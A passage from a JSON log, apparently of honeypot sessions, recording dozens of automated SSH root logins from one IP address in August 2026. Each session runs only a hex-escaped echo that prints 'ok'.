  "name": "autumn-freckled-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54084,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:02:01.105796+00:00",
  "ended_at": "2026-08-23T09:02:02.158874+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f5c0de25-19f6-4dd5-8f28-62d07250f1bd",
  "name": "snowy-patient-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:58.144530+00:00",
  "ended_at": "2026-08-23T09:02:00.380572+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f999c48-5815-4c7b-af13-399320032889",
  "name": "fleeting-proud-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:56.413064+00:00",
  "ended_at": "2026-08-23T09:01:57.473947+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b86ac796-b23d-4470-9213-bd4d26bab7b3",
  "name": "glassy-obsidian-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:53.669199+00:00",
  "ended_at": "2026-08-23T09:01:55.676307+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "14521b68-8843-4f87-8858-9a891e07bd20",
  "name": "tawny-deft-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:51.824834+00:00",
  "ended_at": "2026-08-23T09:01:53.048790+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "97d64b10-fd82-41fa-aa44-78de277625a5",
  "name": "electric-russet-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43832,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:49.711514+00:00",
  "ended_at": "2026-08-23T09:01:51.145134+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bed38d7f-4965-4764-b453-02ea7914fa1e",
  "name": "hearty-icy-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34398,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:47.715526+00:00",
  "ended_at": "2026-08-23T09:01:48.940177+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eaa9bf35-658c-4ff9-9e7a-c37509ea2a21",
  "name": "umber-salty-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34388,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:46.068718+00:00",
  "ended_at": "2026-08-23T09:01:47.037523+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b2dd4955-c832-43a4-9b79-fba5dc5dfe5c",
  "name": "zealous-breezy-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:43.689667+00:00",
  "ended_at": "2026-08-23T09:01:45.347862+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "54cf0c08-915d-466b-b511-6fce8e6bbbb2",
  "name": "crisp-brazen-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:41.903514+00:00",
  "ended_at": "2026-08-23T09:01:43.013097+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "70350b3f-49ed-4f38-9557-5b6772cfe11a",
  "name": "primal-amber-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34360,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:39.191768+00:00",
  "ended_at": "2026-08-23T09:01:41.155429+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20e7aa00-15bb-4e1c-b9d2-4c4e5cc85464",
  "name": "smoky-meadow-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:36.386472+00:00",
  "ended_at": "2026-08-23T09:01:38.486970+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e45f718-9295-4019-8811-3576c15a4b08",
  "name": "dewy-gnarled-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:33.655759+00:00",
  "ended_at": "2026-08-23T09:01:35.634174+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b8c97258-6c61-4b16-bb87-9de44cad3ad2",
  "name": "sincere-mindful-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48058,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:31.536354+00:00",
  "ended_at": "2026-08-23T09:01:33.021665+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "775079eb-eef7-4425-b468-ac889f6da816",
  "name": "sturdy-idle-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52710,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:28.703026+00:00",
  "ended_at": "2026-08-23T09:01:30.755934+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1100a070-bc12-4233-9cd2-4a50613972b3",
  "name": "seaward-honest-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52700,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:26.297841+00:00",
  "ended_at": "2026-08-23T09:01:27.880016+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d7d07b1-52da-4384-9653-9b3ec7d82aaf",
  "name": "misty-gritty-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52690,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:24.398280+00:00",
  "ended_at": "2026-08-23T09:01:25.585088+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e70822d4-4421-4e80-9c8f-4c8ce559c4f2",
  "name": "sullen-wooded-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:22.512083+00:00",
  "ended_at": "2026-08-23T09:01:23.739550+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cb602170-8c9e-4113-8ab1-b0d5ad589f9c",
  "name": "downy-freckled-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:20.363381+00:00",
  "ended_at": "2026-08-23T09:01:21.686040+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "75871106-c131-4c5b-9644-44ed0d78f3ec",
  "name": "watchful-faded-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33288,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:17.722323+00:00",
  "ended_at": "2026-08-23T09:01:19.702855+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a2228112-9773-4cac-baab-bab1793590e4",
  "name": "lucid-placid-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33276,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:14.752116+00:00",
  "ended_at": "2026-08-23T09:01:17.027034+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "36bafa9d-fe02-433c-895a-157498feae38",
  "name": "keen-sooty-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33268,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:11.854955+00:00",
  "ended_at": "2026-08-23T09:01:13.945207+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "16736b80-4510-48ae-b342-055bfc188e69",
  "name": "cheerful-plucky-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:09.568365+00:00",
  "ended_at": "2026-08-23T09:01:11.023157+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e9ed8c46-c338-4501-8928-bea25c96e66e",
  "name": "chilly-thrifty-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60160,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:08.012472+00:00",
  "ended_at": "2026-08-23T09:01:08.898852+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "33bb7189-9cac-4d03-bc65-6632f3d06cfd",
  "name": "patient-stoic-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:05.437283+00:00",
  "ended_at": "2026-08-23T09:01:07.211288+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd25a303-67c5-454f-99d8-aedc5e872548",
  "name": "valiant-hollow-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:03.786524+00:00",
  "ended_at": "2026-08-23T09:01:04.795002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ad24e6cf-18de-4731-86c4-a12e584e71c5",
  "name": "brave-civil-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:01:01.240254+00:00",
  "ended_at": "2026-08-23T09:01:03.131222+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f7b202d1-574b-4337-ac37-18b6c63048cc",
  "name": "nimble-sooty-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57084,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:58.497243+00:00",
  "ended_at": "2026-08-23T09:01:00.547866+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7cb65b9-e39a-4755-ab9a-2308365ff451",
  "name": "noble-ginger-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:56.201461+00:00",
  "ended_at": "2026-08-23T09:00:57.709937+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8c21df82-6a09-418d-a00d-cb9212de7de2",
  "name": "bitter-honest-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:54.529267+00:00",
  "ended_at": "2026-08-23T09:00:55.421998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3bc1bb54-a02b-416d-b8a7-12d909fff13c",
  "name": "lucid-watchful-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:51.650504+00:00",
  "ended_at": "2026-08-23T09:00:53.885967+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fde29b08-f17b-4bfb-8041-85d17d50c3ac",
  "name": "balmy-pleasant-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:50.123480+00:00",
  "ended_at": "2026-08-23T09:00:51.008043+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b707113c-b4ac-4049-9d2a-7ec021abf5f8",
  "name": "wry-clever-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:48.305486+00:00",
  "ended_at": "2026-08-23T09:00:49.455311+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5bcbc359-3347-4514-a871-3f8bf295ef6e",
  "name": "honest-frank-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:45.971450+00:00",
  "ended_at": "2026-08-23T09:00:47.561796+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a9080120-34f2-45d2-9d67-347d4447d4b4",
  "name": "slender-brave-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60318,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:44.232530+00:00",
  "ended_at": "2026-08-23T09:00:45.294851+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b690a15-c5f5-42e2-ab12-d302c23c0e9a",
  "name": "jovial-feral-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:41.713298+00:00",
  "ended_at": "2026-08-23T09:00:43.478999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5082529f-5e64-4350-9624-efd875a55cb8",
  "name": "grumpy-prickly-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:39.272376+00:00",
  "ended_at": "2026-08-23T09:00:40.965826+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ac252937-4ac1-4341-bdd7-0f98e5faa3f7",
  "name": "tawny-coral-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:37.459070+00:00",
  "ended_at": "2026-08-23T09:00:38.525245+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07d194c1-8876-4900-b9e0-1791d01cb332",
  "name": "early-amiable-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:35.094487+00:00",
  "ended_at": "2026-08-23T09:00:36.812836+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "98df9d12-e27c-4a3d-a021-a356c78a3c50",
  "name": "blunt-vernal-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40484,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:28.792031+00:00",
  "ended_at": "2026-08-23T09:00:34.401376+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3b3f2b9c-560d-410b-87b3-d706987b6751",
  "name": "cosmic-rapid-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:26.988068+00:00",
  "ended_at": "2026-08-23T09:00:28.124044+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29f7ce33-7607-4026-ab5d-ccdd3986fc74",
  "name": "bold-burly-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:25.175986+00:00",
  "ended_at": "2026-08-23T09:00:26.345883+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9c2a8344-5067-4fb8-a1c7-e01f5dc4178a",
  "name": "mellow-lofty-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55606,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:22.789884+00:00",
  "ended_at": "2026-08-23T09:00:24.348138+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1e0da07f-0df7-456b-a5ee-09eb7ef7c940",
  "name": "crystal-ivory-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:20.288146+00:00",
  "ended_at": "2026-08-23T09:00:22.044150+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2519d3a6-8ccb-470c-acb8-ee7b9c930722",
  "name": "graceful-blunt-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60218,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:17.937920+00:00",
  "ended_at": "2026-08-23T09:00:19.629670+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3ead872f-a18e-45d2-a94c-b2456bbb5526",
  "name": "solar-glacial-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:16.102928+00:00",
  "ended_at": "2026-08-23T09:00:17.222819+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b3c6dbcd-732c-440d-b7b5-24aa5af722a5",
  "name": "hardy-nautical-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60204,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:13.018863+00:00",
  "ended_at": "2026-08-23T09:00:15.276117+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "851e4608-dbe9-4aea-a22f-b8c1e5eeb656",
  "name": "watchful-brave-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60192,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:11.431079+00:00",
  "ended_at": "2026-08-23T09:00:12.342994+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "361a301e-b3ae-45a3-b32c-07c7fdc73237",
  "name": "mottled-rapid-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:00:09.770424+00:00",
  "ended_at": "2026-08-23T09:00:10.686522+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a37e3e85-3190-45db-85a2-0dc114bdf681",
  "name": "clever-vivid-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45914,
  "username": "root",
